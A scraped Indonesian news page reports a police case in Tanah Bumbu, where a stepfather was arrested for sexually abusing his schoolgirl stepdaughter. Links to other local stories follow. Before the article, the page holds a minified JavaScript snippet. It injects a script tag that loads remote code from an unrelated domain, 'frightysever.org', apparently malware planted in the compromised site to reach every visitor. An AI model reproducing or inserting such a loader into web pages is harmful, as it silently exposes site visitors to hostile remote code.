(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Ayah Tiri di Satui Tega Lakukan Perbuatan Tidak Senonoh pada Anaknya


KANALKALIMANTAN.COM, BATULICIN – Pelajar perempuan di Kabupaten Tanah Bumbu menjadi korban pelecehan seksual oleh ayah tiri sendiri. Korban diketahui masih duduk di bangku salah satu sekolah di Kecamatan Satui.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas Polres Tanbu AKP Saryanto membenarkan peristiwa pelecehan seksual terhadap anak tersebut kepada awak media, Selasa (6/12/2022) siang.

Kasi Humas Polres Tanbu mengungkapkan, perbuatan tersangka kepada korban terjadi pada Jumat (2/12/2022) malam sekitar pukul 23.00 Wita, di dalam rumah korban.

Kepada polisi, pelapor yakni ibu yang juga istri tersangka, menyampaikan dirinya mengetahui kejadian tersebut usai mendengar aduan dari sang anak.

 

Baca juga : Jadi Kunjungan APEKSI Regional Kalimantan, Kampung Pejabat Kenalkan Jamu Samilakor

“Korban mengaku kepada ibunya bahwa dirinya telah dilecehkan oleh bapak tirinya atau suami pelapor dengan cara dipegang kemaluan dan dada anaknya,” jelas Kasi Humas Polres Tanbu.

Atas kejadian tersebut, sang ibu yang tidak terima kemudian melaporkan perbuatan suaminya tersebut ke Polsek Satui guna proses hukum lebih lanjut.

Sementara itu, tersangka yang telah diamankan polisi mengakui perbuatan tidak senonoh yang dilakukannya kepada anak tirinya.

Baca juga  : UNIQLO Buka Toko di Duta Mall 9 Desember, Gandeng Produk Lokal Banjarmasin

Dari penangkapan tersangka, polisi juga mengamankan barang bukti berupa 1  pasang baju tidur warna merah maron tanpa merk, 1 lembar kaos dalam warna hitam tanpa merk, 1 lembar celana panjang warna hitam tanpa merk, 1 lembar BH warna biru tua tanpa merk dan 1 lembar celana dalam warna biru muda tanpa merk.

“Perbuatan tersangka ini dijerat dengan dugaan tindak pidana perbuatan vabul terhadap anak dibawah umur sebagaimana dimaksud dalam Pasal 82 UU RI No 35 tahun 2014 tentang Perubahan Atas UU RI No 23 tahun 2002 tentang Perlindungan Anak,” ungkap AKP Saryanto. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

8 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

11 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

11 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

13 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

15 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

16 jam ago

This website uses cookies.